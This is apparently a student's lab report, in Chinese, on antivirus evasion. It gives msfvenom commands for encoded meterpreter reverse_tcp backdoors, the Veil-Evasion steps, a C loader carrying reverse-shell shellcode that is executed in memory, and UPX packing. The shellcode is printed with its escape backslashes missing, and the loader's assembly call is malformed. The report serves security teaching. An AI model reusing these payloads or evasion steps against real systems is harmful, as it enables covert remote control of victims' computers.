# 20155319 Exp3 免杀原理与实践

20155319 Exp3 免杀原理与实践

基础问题

  • (1)杀软是如何检测出恶意代码的?
  • 基于特征码的检测
  • 启发式的恶意软件检测
  • 基于行为的恶意软件检测
  • (2)免杀是做什么?
免杀,从字面进行理解,避免被杀毒软件检测并查杀,进入并驻足于系统。

- (3)免杀的基本方法有哪些?

  • 改变特征码,如:对EXE进行加壳(压缩壳、加密壳);对shellcode(像Meterpreter用encode进行编码或者基于payload重新编译生成可执行文件;源代码,用其他语言进行重写再编译(veil-evasion)。
  • 改变行为,有通讯方式和操作模式两种方法。
    通讯方式包括尽量使用反弹式连接、使用隧道技术、加密通讯数据。
    操作模式包括基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。

实验步骤

一、使用msf编码器生成后门程序及检测

1、在实验二博客中,我们生成了一个后门文件。将其放在virscan.org中进行扫描,结果如下图所示:

发现效果并不好,上次一传到主机就被识别了

2、使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.72.131 LPORT=5319 -f exe > met-encoded5319.exe指令进行多次编码:

然后再使用virscan.org进行扫描,差别不大,结果如下所示:

多次编码对免杀没有太大效果,原因在于msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。

二、使用veil-evasion生成后门程序及检测

Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装,在自己安装的过程中,既需要下载,安装也总出现问题,最后拷了老师的虚拟机。

看了好多次老师的动图,步骤如下:

在Kali的终端输入veil进入Veil,输入list
输入use 1,选择Evasion
list payloads之后选择自己想要的语言,键入use 21
set LHOST xxx(lunix ip)
set LPORT xxx(端口号)
generate

输入文件名,记住生成文件的所在目录。把它传到windows中,直接被查出来。放入virscan.org中进行扫描,结果如下:

三、注入Shellcode并执行

  • 生成一个c语言格式的Shellcode数组:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.131 LPORT=5319 -f c

  • 把shellcode代码赋值到unsigned char buf[]

#include "stdafx.h"
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//192.168.6.129 443 reverse_tcp
const char met[] =
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
"x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
"x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
"x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
"x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
"x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
"x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
"x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
"x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8x48x83"
"x68x02x00x14xc7x89xe6x50x50x50x50x40x50x40x50"
"x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
"x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67"
"x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff"
"xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00"
"x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56"
"x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58"
"x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5"
"x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85"
"x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1"
"xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";

int main()
{
	DWORD old = 0;
	BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
	INT32 * addr;
	addr =(INT32*) &met;

	__asm;
	{
		call addr;
	}
	return 0;
}
  • 在vc中编译成可执行文件,运用实验二的msfconsle监听,在windows运行,成功获得权限。

  • 上传后检测结果如下:

  • 进行加壳尝试吧。使用UPX对生成的后门程序加壳:

  • 加壳后特征码更加明显,扫描结果如下:

实验总结与体会

通过本次实验,我了解到了免杀的概念、免杀的方法,掌握了使用 Virscan、vc2010这些工具的方法,有一定能力对后门动手实现一些免杀的处理,巩固了对linux和windows植入后门,包括开启侦听、反向连接等实验二的内容,收获很大!

原文地址:https://www.cnblogs.com/rhl20155319/p/8795830.html